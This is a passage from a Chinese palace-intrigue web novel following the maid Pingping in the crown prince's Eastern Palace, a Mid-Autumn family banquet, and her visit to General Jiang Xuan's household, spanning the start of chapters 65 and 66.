“六哥， 你笑什么？” 柳湛停步：“我呀， 笑你再走下去， 要直接跟我进福宁殿了！” 柳沛这才惊觉自己又追出许多路， 官家的寝殿近在咫尺，赶紧调头溜远，柳湛目眺柳沛背影， 渐敛笑意。 少倾，果决转身，拾级踏上福宁殿， 不再回头。 他央了黄门通传，不一会官家召见，柳湛进殿对着上首就拜：“儿臣参见父皇。”三呼万岁并叩首，接着便迫不及待关切：“父皇，您身体好些了吗？” 官家半躺半卧在暖榻上，手中正抚一只狸奴，榻边仙鹤炉袅袅熏着龙涎香：“站起来说吧。” 柳湛这才起身，官家续道：“我这老毛病不碍事，但到底是哪个多嘴的告诉你？” 柳湛面露怯色，吞吐犹豫：“刚到扬州时，凌传道告诉儿臣。” 官家冷哼一声，怀中狸奴受惊从他膝上跃下：“他造得那些孽还不够，还来打听朕的动向。” 柳湛即刻接话：“凌传道恶贯满盈，自是死有余辜。”他顿了顿，“只是……他临时前托儿臣给娘娘带一句话，儿臣一头雾水，不解其意，待会……打算去仁明宫请安时问清。” “什么话？”官家轻问。 “他说表姨有一条红鞓玉銙带在娘娘那里，就这半句，无头无尾，叫人摸不着头脑。”柳湛一脸迷茫，“待会还是问下娘娘。” “那是什么东西？”官家坐起弯腰，捉回狸奴，“死到临头胡言乱语，别去扰你母后清净。” 片刻，柳湛颔首：“父皇所言极是。”他叹了口气，“那凌传道一说父皇龙体抱恙，儿臣心立揪起，差点当场就乱了方寸，之后日日关心，夜夜难寐，只盼能一日更早一日见到父皇。” 官家打量柳湛，的确清瘦不少，眼下浅淡青黑。官家缓缓道：“太子孝心。” 柳湛言语诚恳，神色恭谦：“为臣莫大乎尊君，为子莫大乎尊亲。” 官家将狸奴抱高些，贴着胸膛：“听说你从江南带了个女人回来？”他晲柳湛一眼，语气调笑，“不知道的，还以为你这眼底青黑是被红粉吸了髓呢！” 柳湛一哂：“就是个玩意，儿臣晓得分寸。” 官家低头逗猫，怀里的狸奴比东宫美人重要许多，头也不抬：“分得清轻重就好。” * 东宫和官家的后宫类似，分宫、仪、服、食、寝、功六尚。 十名少女中，只有萍萍和那黑皮大眼的少女入尚寝局。 尚寝又分舆、苑、灯、设四司。 司舆主理太子出行舆辇、伞扇羽仪；司苑管种花种果，司灯掌灯油火烛，萍萍分在司设司，负责帷帐、被褥、枕席，简而言之，铺被子的。 “既入东宫，就要竭尽全力服侍殿下。” “没有殿下的赦令，不得擅自离宫，不得进入正殿，不得随意与外人见面，不得勾结内侍。” 萍萍和另外那名少女立在院中听训，条律和之前统领讲的大差不差。 教她们规矩的谭典设看起来和萍萍差不多年纪，身段纤细，面貌清秀，是个笑相，训起话也温温和和，不觉严厉。 做宫婢行走站立皆要讲究仪态，帷帐束起时必须折六褶，被子叠起长两尺宽一尺，玉枕摆在床头三寸处，一切都必须毫厘不差。甚至连执掸子的姿势、扫床的手法，乃至整理被褥的时长都严格规定。 若有错处，视轻重罚戒尺一至十下。 谭典设十分耐心，手把手教了个把时辰，从白天直说到晚上，才验视她俩。 萍萍全程认真听，一刻不敢怠慢，所以上手比较快，她已经叠好被褥，另外那名新进宫婢仍在犹犹豫豫，不知枕头该放何处。 对金钩，萍萍默道。 谭典设讲时她讨了个巧，记得刚好三寸时，枕头右下角是与束帐的金勾尖平齐的。 那丫头才十二岁，萍萍不忍心，主动接过枕头帮着放了，二人刚好在规定的时间里完成铺设。 “左手都伸出来，掌心摊开，我来检查，如有错处便打。”谭典设虽然这么说，但检验了两侧帏帐和被子，都没有动戒尺。 谭典设又看枕头：“这玉枕放的地方不对。” 萍萍张目，不可能啊，典设方才也是枕尖对金钩，而金钩是固定不动的。 “我的眼睛就是尺！”谭典设说着就在二人掌心狠狠各击一下。 萍萍和那宫婢都疼得叫了一声，她本能缩回手，发现就一下，手掌就破皮了。 她突然知道之前听到的惨叫是什么了，是女官在殴打宫人。 可条例规定了，如有错处，可罚一至十下戒尺，无可指摘。 萍萍咬唇。 不过谭典设只打了这一下板子，之后待她们还是和和气气，晚上赶上放秋社社饭，亦无苛刻。萍萍分到的米饭上铺满猪羊肉、腰子、肚肺和奶房，正端碗坐在阶上吃，忽有人喊：“银娘子。” 萍萍迟钝少顷，才反应过来这是自己的新名字。 循声望去时，黑皮大眼的少女已经端碗要在她旁边坐下，只是膝盖屈得极慢。萍萍关切：“还疼吗？” 少女之前被罚跪了一个时辰。 少女摇头，纵使如此萍萍还是放下碗搀扶一把，等那少女坐下开吃，萍萍才拾起碗筷，笑道：“你比我小太多了，我就不叫你什么娘子，直接喊夕照吧。” “你晓得我的名字？”少女反问。 萍萍一笑：“晓得，怎么不晓得，十个人的名我都记了，只是你之前没再和我说话，我怕你不记得我的名字，不好意思喊你。” “我也记了十个人。”夕照小声嘀咕。 萍萍看她碗里红彤彤的，除了猪羊肉、腰子，额外添加许多辣子，便问：“你喜欢吃辣啊？” “我是零陵人，无辣不欢，一日没得辣子不行。”少女将碗递过来，“你要分点吗？这后厨的辣子可以的。” “好啊。” “那你挑。” 萍萍便用自己的筷子挑了一小撮未碰的辣子，放碗里拌了，果然更香。 “你为什么进宫啊？”夕照问她。 萍萍垂首勾唇：“因为我最重要的人在这里。” “我也是。” 萍萍愣愣侧首，夕照的官人也在宫里？ 夕照一笑，告诉萍萍自己以前是世家婢女，侍奉的娘子去岁入宫做了典籍。 “我家娘子从来不把我当奴作婢，而是当妹妹养，教我读书，吃穿用度不曾亏待。娘子入宫前给了我卖身契，让我自去立户或者嫁人。可她的恩情我必须结草衔环回报，所以我追随娘子进宫。只可惜……分来东宫。” “以后应该可以调过去吧？”萍萍问。 夕照点头：“可以，但司籍司那边不好进，得我自己努力，到时候开课了多学一些。” “开课？” “尚仪下面有司教司，你不知道？”夕照反问萍萍，“会教授我们这些宫女妇德、妇容、妇功，书画算术。” “这么好？” “是故去的太后娘娘推恩，开设司教司，她说读书方知自古兴衰，不能只惟男子，妇女亦不可不读。” 萍萍听得抑不住面上喜色：“那我以后也要去读！” 她和夕照皆两眼放光，相视一笑，继续吃饭，却不约而同发出嘶的一声。 破皮的掌心不小心碰到碗，生疼。 两人互相看了眼对方手掌：“你也还没收口子呢？” “没有，不过我皮粗肉糙，过几天就好了。” 二人双双点头，却不知萍萍侍过寝的消息如一阵风传遍东宫，有些人畏惧太子，便也忌惮讨好萍萍，可还有一些，例如谭典设，她十三岁入东宫当差，勤勉数年，费尽心机，才调进最容易晋升妃嫔的司寝局。原本那年太子要通人事，选定启蒙侍寝的是她，却 因为太后崩逝，一拖再拖，到现在被银照捷足先登！ 谭典设心底已经妒骂了一百遍狐媚子，不要脸，面上却温柔又和善，惩戒也仅打一板，挑不出错，但那板子事先抹了药水“百日皴”，皮肉打开后药浸进去，如冬日冻疮，一百日都会肉翻皮卷，裂口呲着不收。 …… 八月秋社过后，没几日便至中秋。 宫里挂起花络，官家在延福宫设家宴，桌上摆着快马加鞭送来的临潼石榴、罗田板栗和南丰柑橘……皆是时令美食，最吸引人的是太湖新蟹，官家上月新宠郑美人，圣眷正浓，比起别的妃嫔，多赏了两只新蟹给郑美人。 官家仁厚，十四至十六三日，允宫人内侍出入掖庭，若是东京本地人，可回家团圆。 因此今日宴上演奏的司乐司伶人不多，但寥寥数只丝篁，亦能奏出飘飘仙乐。 官家微醺，思缓歌慢舞，便令郑美人在众人面前献艺。郑美人脸涨通红，似乎并不情愿，但终究还是跳了，一舞未完，皇后携她母家的侄女范牧君姗姗来迟。 上首官家旁边的座位一直空置，皇后径自落座，笑道：“这么好的歌舞，陛下应该把百官都召集来同乐，欢度中秋。” 官家却道：“中秋合该各回各家团圆，把人都拘到朕这里来做甚么？皇后这么热心，之后的重阳节可主持操办。” 皇后不说话了，举起酒杯，浅呷一口。 她是官家登基后立的续后，与他年岁相差颇大，从前老夫少妻倒也恩爱，如今不仅话不投机，坐在一起，一个红颜如旧，一个鬓发花白，光瞧面貌也不搭了。 皇后母家侄女范牧君与柳湛是堂兄妹，回回宴席都坐他旁边，今晚亦如是。后面有宫人为二人剔蟹，范牧君金签插一块雪白蟹肉，浸过姜醋，捂嘴慢咽，而后同柳湛笑道：“太子哥哥，这蟹不错。” 柳湛淡笑不语。 半晌，范牧君举杯敬柳湛：“太子哥哥，中秋康乐。” 柳湛隔空举了下自己酒杯，浅笑：“范娘子同乐。” 范牧君脸上表情一僵，复又重笑，嗔道：“从前叫人家牧君妹妹，如今却唤范娘子。” 柳湛只笑，放了酒杯，起手剥橘，他自己不察，但席间已有不少人留意到，平常不愿旁人知晓喜好，每道菜只尝一口的太子殿下，竟一连给自己剥了三个柑橘吃。 范牧君拿起自己桌上柑橘：“太子哥哥，我也给你剥一个吧？” “范牧君——”柳湛另一侧，柳沛隔着一张桌模仿她语气，“太子哥哥——明显吃够橘子啦！” “你！” 二人动静过大，官家和皇后一起看来，皇后笑问：“阿七，在说什么呢？” 官家亦道：“不要欺负你牧君妹妹。” 皇后又说：“陛下所言极是，中秋佳节理应团圆和气。” 柳沛听到“中秋佳节”这四字心就哐当一沉，预感不妙，果然，官家随后便命他背诵中秋名篇《春江花月夜》，柳沛支支吾吾：“春江潮水连海平，海上明月共潮生。” 卡壳半晌，忽伸指续道：“我还晓得一句，江畔何人初见月，江月何年初照人！” 官家一个板栗掷过去，柳沛忙躲。 最终，七大王因不学无术被罚了三日禁闭。 * 东宫这座不起眼小院住了四名宫婢。中秋，夕照趁圣谕开恩，去司籍司寻她家娘子，另外两名宫人，一个回家，一个和相熟的宫婢约着一道出宫逛东京，只有萍萍一个人独留院中。 小院的台阶凉如水，她和夕照平时就坐这吃饭、聊天，现在她一个人坐着看月亮。 自从进了东宫，萍萍没有再见过柳湛——她听别人说，太子有卧冰哭竹，扇枕温衾的孝心，这些天一直在官家的福宁宫侍疾，没有回东宫。 事出有因，她一点也不怨他。 今日中秋，团圆夜，他会回家吗？ 她在自以为的“家”里等了一晚上，一直望着门口，柳湛没有出现。 翌日，她才知晓昨日官家设了家宴，哦，原来他有团圆。 萍萍有些失落，但没有怨，正扫院子，将落满地的桂花拢到一处，余光瞥见蒋望回从门口走近。 萍萍立定扫帚，待他再近些，福身道：“蒋兄。”虽然已经过了，但还是祝了句“中秋康乐。” 蒋望回颔首回礼：“娘子中秋康乐。” 萍萍蹲下来将桂花落叶一齐扫进撮箕里，蒋望回在她身边也蹲下：“难得官家允出宫，没出去逛逛？” “没有。” “那今日出去？我说好了要做向导带你逛东京。” 萍萍未应声，蒋望回又道：“我爹爹回京述职了”。 萍萍眼睛一亮，扭头看着蒋望回，他面泛微笑：“刚好赶上中秋，你想见见他吗？” 第65章 第六十五章 私心 萍萍当然想了， 那可是经略相公！ “我爹爹是个很温柔的人，你不用怕他。” “我怎么会怕！”萍萍的反驳冲口而出，她楞了下， 算了， 说都说了， “我跟你去，我想见经略相公。” 蒋望回勾着唇角缓缓起身，萍萍又补充：“但是你要等我先收拾好院子。” 蒋望回点了两下头。 “我还要换身衣裳。” 蒋望回脑袋又点两下。 萍萍继续清扫落叶， 蒋望回帮她倒撮箕。她进屋换衣裳， 他就背对厢房等在门外，听见开门声， 才负手转身，目光在她的妇人发髻上定了定，平静道：“待会要从东宫离开，宣德楼、东华门都还在禁内，娘子眼下身份，这个发髻恐怕不妥。” 蒋望回停顿须臾：“当然，只是建议， 还是要娘子自己定夺。” 萍萍认真想了想， 言之有理：“那你等着， 我换个发髻。” 说罢进屋关门， 重新梳头，蒋望回也再次背过身去，嘴角缓缓扬起。 萍萍梳了个未出阁的双垂髻出来， 蒋望回不紧不慢瞟一眼，面上无甚表情。 一切事妥，二人步出东宫， 穿过宣德楼，立马再次瞧见朱栏彩槛，漆红杈子，萍萍习惯直走，朝杈子里迈了一步，突然想起来那天进东宫大家都是绕着杈走的，急忙缩回脚。 蒋望回余光一直在她身上，旋即开口：“这是御道。” “难怪，“萍萍吐舌头，“还好我没真踏上。” 她绕道走，但眼睛瞅御道里，上回石砌的小溪里犹开残荷，眼下已经全败，只剩些将枯的荷叶。 蒋望回声音又缓缓响起：“到了春天，杈藤桃李杏争春，这道很好看。” 萍萍却已眯眼眺向前方，如牌坊般耸立的石门外，许多人摆着篮子叫卖，卖的什么瞧不清，但能听见几声讨价还价：“那边是集市吗？好热闹，我记得上回经过没有的。” 蒋望回随之眺望：“东华门外交易禁中买卖，饮食珍玩，聚天下奇，你进宫那日时辰尚早，还未——” 蒋望回话未说完，萍萍已经提着裙子朝前奔去，她跑了两步，突然记起谭典设教导，说端庄仪态应该是轻轻柔柔地，稍微把裙角提一下就放下，不能一直提着裙子跑。 她赶紧松手，脚尖点了下地，莲步轻移，蒋望回瞧在眼里，忽觉心颤得厉害，萍萍那鞋尖仿佛点在他心头肉里，轻轻碾着。 蒋望回紧紧阖唇。 萍萍已经穿过东华门去看热闹，鱼虾鳖蟹．鹑兔脯腊．金玉珍玩，真的是无奇不有，其中又以新上市的果蔬最为紧俏，这里做买卖不是卖家定价，而是买家每个人都出价，价最高者得。 萍萍站在众人身后，偷听他们竞价板栗，蒋望回不知何时到她 脚边：“待会再逛，先去我家。” 萍萍忙道抱歉，蒋望回原想回说不用道歉，自己没这样想过，嚅了嚅唇，终究没出声。 二人一路往北，经过一条街，两侧招牌不是什么“祖传正骨”，就是“医小儿”，“口齿咽喉”、“产科”，萍萍回头同蒋望回道：“这条街都是医馆。” 蒋望回颔首：“这是本地有名的医馆药铺街，杏林妙手云集。多少患疑难杂症者，千里迢迢上京，慕名来这里求治。亦有郎中来此进修。” 这一日还长，待会见完爹爹，可以带她在东京的每一条街都走一走。蒋望回想到这，脸上泛起浅淡笑意。 二人隔着半身距离，一前一后路过某一医馆，门口紫匾金字题着“谭郎中家”。 这正是谭典设的兄嫂家。 她阿兄是京中著名外科圣手，尤擅调理妇人皮肤，能将黧黑面目调成细皮白肉。 这回中秋归家，谭郎中照例给妹妹配制许多外敷膏药，谭典设却不像以前那样果断收下，带回东宫，手抚在膏药罐上，出神片刻，才缓缓往包袱里捡。 她不甘嘀咕：“肤如凝脂又怎样，还不是被别人捷足先登。” 她仔细打量过银照，皮肤细腻并不如自己。 她阿兄劝道：“哎呀，殿下又不可能只一个女人，机会多得是。”又笑，“阿兄日后还指望你。” 谭典设撇撇嘴，包袱已经收好，打结。 谭郎中担心罐重包沉，帮妹妹拧起：“送你一程。” 他刚拉开医馆后门，就见一翩翩公子，英姿挺拔，立在门前含笑：“谭郎中，许久不见了。” 谭郎中目不转睛打量半晌，比起那年找他动刀，访客的面貌又变许多。 谭郎中展臂笑道：“裴小官人，快里面请。” 裴改之脚跨入医馆，目光却流连谭典设身上，把那谭典设看得不好意思了，才问：“这位可是东宫当差的谭典设？” 谭典设面上绯色立退。 既然点破，裴改之也不绕弯子了：“某有一事要求典设，如能成事，百金酬谢。” * 萍萍和蒋望回已经走到蒋府门口，宅邸门庭比她想象中的小。蒋望回看出她心中所想，解释：“平时音和在宫中，府里就我一人居住，不必修大。” 萍萍没表态，跟着他进府，一般家宅进门后通常是前院、会客正堂，蒋家进去后却是一栋二层绣楼。 “这是音和闺楼，我们从小道绕过去。” “好。”萍萍随蒋望回走左侧小径，避开绣楼，她发现府里没有假山凉亭，没有种花，甚至连树都没几棵，比广寒宫还冷清。 他们来到一方池塘前。这塘犹如汉水，隔断蒋府前后，水面上并无桥道，只十数个高过水面的石墩，表面被雕刻成莲叶状，要想去后半边蒋府，必须过这步莲桥。 蒋望回似乎有些不好意思，语气艰涩：“会客堂在后面。” 萍萍点头，主动跃上石墩，一个一个踩过去，蒋望回默默跟着后面，不抢不催，眼睛始终盯着萍萍双脚。 过完“莲叶”后，蒋望回叹了口气：“折腾你了。” 萍萍侧首眺蒋望回：“这步莲是蒋娘子设计的吧？” 和寒洞蒋府格格不入，估摸蒋音和当时觉得好玩，未曾深思，等造好了以后才发现麻烦。她不愿日日步莲，于是闺楼改去前面，正堂移到后半边。 被道破，蒋望回苦笑：“我们太迁就她了。” 萍萍眨了下眼，上回碎钗时谏言过，这次不再置喙他人家事。 蒋望回领着萍萍进正堂，堂内却无人，他几分窘迫：“你等着，我去找找。” 不多时蒋望回回来找萍萍：“我爹爹和秦叔叔在后厅用饭。” “那我等经略相公吃完再去。” 蒋望回笑：“不碍事，跟我走吧。” 萍萍跟着他走，心想秦叔叔又是谁？没问出口蒋望回就主动解释：“秦叔叔是户部侍郎，我爹爹的绾角兄弟。难得我爹回京，今日来家中叙旧。” 话说着就到了，原来后厅只在正堂后，萍萍只听见浑厚一句：“人带来了？” 她压根没看厅中人，就朝出声处弯腰下拜，嗓子铿锵响亮：“民女萍萍见过经略相公！” 再抬头瞧清相貌，萍萍一愣，经略相公蒋玄儒巾直裰，秀眉玉面，温润雅正，若非身上萦绕的那几分煞气，真看不出来是征战沙场的将军，反像一位学士。 蒋玄瞧见萍萍的脸，亦是一怔，旁边的秦侍郎也放下碗勺，定定凝视。 萍萍拱手再拜：“民女敬仰经略相公已久，居西北时多受相公恩惠！” “萍萍，”蒋玄念她的名字，笑着朝她端起碗：“你吃过没有？要不要也来一碗？” 蒋望回忙解释：“我爹和叔叔吃的是京师水饭。” “好啊，多谢相公大人。”萍萍未扭捏，“我来之前没吃饭，也从来没吃过水饭。” 蒋玄和那秦侍郎一齐笑起来，蒋望回去给萍萍舀了一碗，所谓水饭，是半锅稀粥熬到酸酸甜甜，再拌上干饭，萍萍尝了一口，蒋玄问她：“怎么样？” 萍萍直言：“不像主食，更似茶点。” 两位长者又大笑，秦侍郎道：“这就是茶点。” 蒋望回道：“萍娘子第1回 吃，不知者不怪。” 众人真吃起来，食不言，没再交谈，等吃完了萍萍才感谢蒋玄当年施粥救命，蒋玄听完深深看了蒋望回一眼，蒋望回亦与父对视。 蒋玄收回目光，重眺萍萍：“本将身为一方地方官，恤治下民患，应该的。” 萍萍愈发心悦诚服。众人又聊了会，萍萍不好意思一直叨扰蒋玄，道了别，蒋望回送她出去。蒋玄和秦侍郎留在厅内，二人一直望着门口，秦侍郎悠悠感叹：“玄哥，这小丫头怎么长得那么像阿宝姐姐？” 半晌无回应，秦侍郎再道：“这么多年不知道阿宝姐姐下落，如今我任户部——” “不必去查，”蒋玄打断秦侍郎，“我不想让你嫂子伤心。” 秦侍郎首肯，继而摊手：“还有，说好了我吃完就走，现在怎么办，出去不是打扰小字辈们么？希颜岂不怪我坏他好事！” “待会再走嘛，”蒋玄瞪他一眼，“你一刻也等不了？” 秦侍郎跟他打趣，故意反说：“等不了，我急着回去给真儿去疤。” 他女儿秦尚真不慎茶水烫手，留下拇指大一块疤，未出阁的女儿当无瑕，秦侍郎便来找蒋玄借蒋家祖传的祛疤膏，他从前军帐里见过，伤兵涂上去敷几日，那些刀伤剑痕祛除得一干二净，不留一点印子。 蒋玄晓得秦侍郎说的反话，白他一眼，过会，又忍不住叮嘱：“我家这药虽然奇效，但要想彻底去除，敷料一定一定七日不能去，然后务必三十日不能见水，别忘了。” “放心，真儿的事我忘不了。” …… 蒋望回这边，送萍萍出来，不过五、六步，便问：“时候还早，带你到东京各处逛逛？” “算了吧。”萍萍拒绝。 蒋望回反剪的双手在背后攥了攥：“说好了要带你逛的，难得你有机会出宫……” 忽然二人都察觉到头顶湿意，再瞅地面，麻麻点点。 萍萍笑：“下雨了，我还是早点回去吧。” 蒋望回吁一口气：“看来天意如此。” 他指二人右手边，府里唯几的老柏树：“你在这里等下，我去拿伞。” 轻功来去，不多时就拿来一把伞。 “只找到一把。”蒋望回说着就要撑开，萍萍推手：“你打吧。” 她朝前迈了一步，离开伞下。蒋望回在原处伫立须臾，快步朝前赶上，将伞柄塞进萍萍手手：“你打吧，哪有男人打伞，女人淋雨的道理。” 他说着快步朝前走，远离伞下，两肩渐湿。 “谢谢。”萍萍寻常道谢。 二人前后来到池塘边，眨眼功夫水面上涨不少，雨滴打出一圈又一圈涟漪，密密麻麻。 蒋望回踏了几步石莲，不放心，停下来回身注视萍萍踏莲。 她一手打伞，一手垂着， 水面快涨到没过莲台，一脚打滑，萍萍本能伸手要去扶蒋望回，他也即刻抬手，可下一霎萍萍却自行稳住，站定，收回胳膊，手重垂下握拳。 蒋望回牵了个空，直直盯着萍萍攥拳的左手，不由分说抓起摊开，露出骇人伤口。 他突然就意识到许多端倪，萍萍扫地吃饭都刻意低垂的左臂，握紧的左手。 蒋望回紧紧抓着她的掌不放，视线却无处安放，不住扭头，胸脯起伏，眼倏薄红。 萍萍想抽手，笑着解释：“没事的，我就之前做错事挨了一下戒尺，真的就一下，兴许是这两天这只手总碰水，就一直没收口……” 蒋望回突然深吸口气，揽住萍萍，她身骤僵，话也急止。 蒋望回靴尖只在水面点了一下，就携萍萍纵身飞过池塘。 落地后他放开萍萍，她立马朝旁边挪远一步。蒋望回看在眼里，从怀中掏出一个瓷瓶，递给萍萍：“这里面类似金疮药，你抹了能好快些。” 萍萍犹豫片刻，接过躬身：“多谢蒋兄。” “我送你走吧。” 二人离开蒋府，到医馆那条街时雨差不多停了，蒋望回又问伤口需不需要找郎中瞧瞧，萍萍忙摆手：“不用了吧，也太小题大做。” 蒋望回没再坚持，同行到东华门口，萍萍将已经收好的伞递还给他：“就送到这吧，剩下的路我自己走。” 蒋望回缓缓接过伞，未即刻应声。 萍萍笑道：“今天谢谢你，我做梦都想不到能和经略相公同一张桌吃饭。” 蒋望回直道客气，萍萍同他挥挥，用的未受伤的右手：“那我走啦！” 蒋望回挥手目送，待瞧不见倩影才折返回府，一进门就见蒋音和站在绣楼前。她呼吸急促，似用了极大的定力才忍下来，挤出一句：“我有话同你说。” 蒋望回目眺绣楼：“回房再说。” 兄妹俩进绣楼，蒋音和将一踏入，就怒气冲天质问：“你竟然带萍娘子来家里？” 蒋望回面不改色，先关好门，才平静作答：“她仰慕爹爹，所以带她来见。” 蒋音和两肩不住耸动：“我一直以为你是真心帮我，还感叹自己有个好哥哥，没想到、没想到你竟存了私心！” “我有什么私心？你不要乱讲。” “呵呵，你每回喊她娘子的时候，想的到底是萍娘子，还是官人娘子的娘子？” 劲风骤起，蒋望回一掌扇在蒋音和脸上。 音和捂颊，咬牙切齿：“怎么了，被我戳破了龌龊心思，恼羞成怒了？” 蒋望回沉默收掌，只闻呼吸声。 过会，呼吸亦轻不可闻，屋内死寂一般。 蒋音和重看向蒋望回，眉毛一挑，神色凄冷：“别忘了，你是共犯。” 第66章 第六十六章 药 半晌， 蒋望回紧绷两颊，眸光沉沉，压低声音：“你到底想要什么？” “我想要什么阿兄不清楚吗？你之前说殿下回京后就会见我， 可他不仅没见， 还为了你心爱的女人变本加厉， 将我调到了司酝司！” 蒋望回蹙眉：“你不要这样讲话。” “总之我要回东宫！”蒋音和斩钉截铁，“你不帮我我就去求官家，求皇后娘娘！” “冥顽不灵！”蒋望回立斥。 他本不想多讲， 奈何妹妹一直梗着脖颈， 蒋望回先确认周遭无偷听，才解释：“你去求官家， 拿官家压殿下，殿下愈发不喜你。去求娘娘，娘娘力举范娘子，岂会待你真心，反而贻笑大方。” 蒋望回睹着蒋音和颊上红印，心内愧疚，从不曾对妹妹下这般重手。绣楼一层不住人， 有积晨露的水缸， 他取自己的帕子浸凉水， 拧干后递给蒋音和：“敷一敷。” 蒋音和冷哼接过， 帕贴颊上。 蒋望回柔声细语：“这是关起门来才非议两句，殿下文韬武略，将来定是一代明君， 但他注定三宫六院，绝非良人。” 蒋望回阖唇，吐纳。为防止蒋音和一时冲动去求蒋玄， 暴露萍萍和太子的关系，他手捏了捏，启唇再道：“当年要不是担心官家猜忌，家里压根不会让你进宫。在外面到了年纪，得一知心人，像爹娘那样相守一辈子，多好。” 蒋音和正想趁爹爹回京帮忙助力，闻言一个激灵，继又万幸：还好，还好没告诉爹爹，不然父母阻扰，只会将太子越推越远。 蒋音和怕被兄长看穿心思，故意提萍萍遮掩：“怎么，你打算将来同萍爱卿相守一辈子啊？” 蒋望回本是故意点她，却不曾想她说话这样难听。他看着妹妹那张不屑的脸，表情越来越冷，蒋音和原先还在嗤笑，忽然侧首瞥见蒋望回脸，不由自主打了个寒颤。 一双要吃人的眼睛，浑身散发着阴冷，就像冤死的鬼魅。 蒋音和从来没见过这样表情，何况是向来对她百依百顺的胞兄。 她不敢笑了，柔顺起眉眼，鼻翼翕动，下巴也微颤。 蒋望回睹见音和变化，尤其是那一双怯眸，眼皮时不时极快挑起又垂下，仿若被捕获后试探猎人心思的小鹿。 到底是自己妹妹，不希望兄妹生分，蒋望回暗叹口气，恢复正常神色：“你不要擅自出手，什么都别做，用不了一个月，殿下会主动召你回东宫。” 蒋音和不信，这肯定又是阿兄的缓兵之计，却慑于方才表情余威，只敢小声嘀咕：“怎么可能。” “娘娘早想塞范娘子进东宫，奈何女官满额，如今空出司膳，她定再动心思。另有他人也蠢蠢欲动，想要这司膳位置——” “还有谁也倾慕殿下？”蒋音和一时忘形，又插话惊呼。 蒋望回在寿春时觉出姚拱辰隐隐敌对，毕竟朝中武将，姚家之上只有蒋家。 很多事蒋望回只是不说，不是不知道。 那姚拱辰明显铁了心要送妹子进宫，司膳一空，多半会搏。 “我不知道是谁，但除却娘娘，必然还有他人眼馋司膳位子。”蒋望回不想见音和又妒，含糊带过，“到时候两派相争，殿下骑虎难下，要想谁都不得罪，堵住悠悠众口，只能扯个由头调你回来。” 蒋望回再暗叹口气，今日还是说太多了，自知姑息蒋音和，却血浓于水，无可奈何。 他拉开门，离开绣楼。 过步莲桥，回自己卧房。 蒋望回在桌边坐了会，缓慢起身，拉开五屉柜最下一层，取出一卷画轴慢慢展开。 画纸微黄，几处灰渍是除霉后留下的印子，画中女子裙衫明显褪色重补过颜料，脸也修复时重调了眉眼，可能原画只跟萍萍七分像，现在却完全就是她的样貌。 * 萍萍进东华门，过宣德楼，去东宫走大道，但中途也有一截曲径，中铺鹅卵石子。两侧梅树与紫薇交错栽植，刚一场雨打下许多青褐蒴果，卡在石间缝隙里。 萍萍小心翼翼慢行，避免泥泞弄脏袍服。低头抬头间，不知哪家宫殿墙头冷不丁伸出一只手，接着另外一只，两臂撑起，一人猫腰翻上，坐在墙头喘气。 萍萍走近，见他穿褐袍戴无脚幞头，浑身皆是内侍打扮，有门不走，非要翻墙，鬼鬼祟祟。 这小内侍回头亦瞧见萍萍，大惊失色，手松跌下，头朝地栽进紫薇丛的烂泥里。萍萍赶紧上前关切，也顾不得袍脏了：“你没事吧？” 那内侍好大的气，冲萍萍吼道：“你哪个宫的？作甚吓我！” 萍萍从前卖洗面汤也遇过这种暴脾气主顾，那几个屠户比这内侍吼得还大声。她躬身赔笑：“对不起，对不起，我就是好奇墙上突然冒出个脑袋，我对天发誓没想吓你。” 至于哪个宫的她才不说，万一拖累官人呢？ 萍萍企图揭过：“你……要不要擦擦脸？” 她递自己的干净帕子给内侍，也是经营洗面汤生意那套，帕子既好摸又好闻。 内侍接过帕子，怔了下，接着用帕子囫囵擦脸。 没擦干净。 萍萍看他鼻下人中那留着块泥巴，几分滑稽，忍不住提醒：“这里还有。” “哪 ？“内侍抬手擦。 “还在。”萍萍又指又说。 他左左右右擦，却总偏一点没擦到。 萍萍看着着急：“还在！” 内侍停了手，眸光渐变凌厉，咄咄道：“要是没有，你捉弄我，就死定了！” 这人性子怎么差？反像她欠他的。萍萍心里也蹿了口气上来：“有就有，我又不骗人！”她从他手中夺回帕子，找到还没脏的一处，揪起来，给他看：“喏，干净的。”说着就朝内侍脸上擦去，她想他瞧着也就十六、七岁，半大少年，却这般暴戾，是不是从小去了人道的人身子残缺，心也阴暗？ 联系起刚认识袁未罗那会，也是个一点就炸的炮仗，唉，真是因果冤孽。她看向内侍的眼神不由复杂，将擦下来的泥巴展示给他看：“喏，没骗你吧？” 少年内侍定定站着，她方才擦脸时手指拂过了他的唇。 少年看见萍萍嘴唇在张合，却听不见她在说什么，良久，回过神来，挪眼瞥了眼那帕。 看在萍萍眼里，就是他连眼皮都懒得抬，不仅错了不认，连声谢都没。 她便不想过再纠缠，攥帕转身，他忽地叫住她：“唉，你叫什么名字？” 萍萍不想告诉他。 内侍又囔：“你不告诉我我也能查出来，到时候你吃不完兜着走！” 他还要挟？ 萍萍一笑，现一对酒窝：“我叫子虚。” 内侍蹙眉：“哪两个字？” 她瞧他神色竟有几分认真，心道当然是子虚乌有的子虚啦：“紫薇的紫，柳絮的絮。” 内侍呢喃：“紫薇的紫，柳絮的絮。” 萍萍点头：“是的中贵人，是这两个字。” 那内侍听见中贵人称呼，先是一愣，继而高高挑眉。 内侍突然朝宣德楼方向望了一眼，仿佛被踩中尾巴般跳起，接着就匆匆溜走，没再同萍萍纠缠一个字。 萍萍起先被他反应带得也瑟缩，再后来定睛一看，那宣德楼边正行着不知何宫妃嫔的步舆并一队宫人，隔着十万八千里，压根不会往这边来。 那内侍却草木皆兵，难不成他就是那个宫里逃出来的？ 她想不明白，便不去想，走回东宫，院里其他人都还没回来。 闲坐无事，左掌才缓缓觉疼，便取出蒋望回送的膏药，一打开一股子清凉味直冲鼻来。萍萍试着先摸了指甲盖大小，白糊糊的膏体覆盖伤口，冰冰凉只觉冷，再不觉疼，原先一直细渗的血也凝固。 这药真有用。 于是晚间夕照回来，她也把这药分给夕照用，夕照抹完盯着自己手看：“银娘子，血止住了……” 过会小丫头又抖手：“好冷好冷，银娘子，我手成冰棍啦！” 等冷意好点，夕照溜烟跑回自己屋内，片刻又嘭嘭跑回来，手里抱着一摞书：“这是我家娘子赠我的书，银娘子，你先挑。” 夕照将书一股脑摆到桌上：“你想挑几本就挑几本。” “我就拿最上面这本吧。”萍萍说完拿起看了，才发现是《左传》。 夕照又摸袖袋，掏出数枚几乎一样的书签，分萍萍一枚：“也给你一个，我家娘子制的！” 萍萍笑着接过书签，上头无字，正反两面皆工笔画了苔花。书签本就只二而指宽，苔花更小，却画得筋络俱细，核舟一般精细。萍萍不由笑赞：“画得好好！” 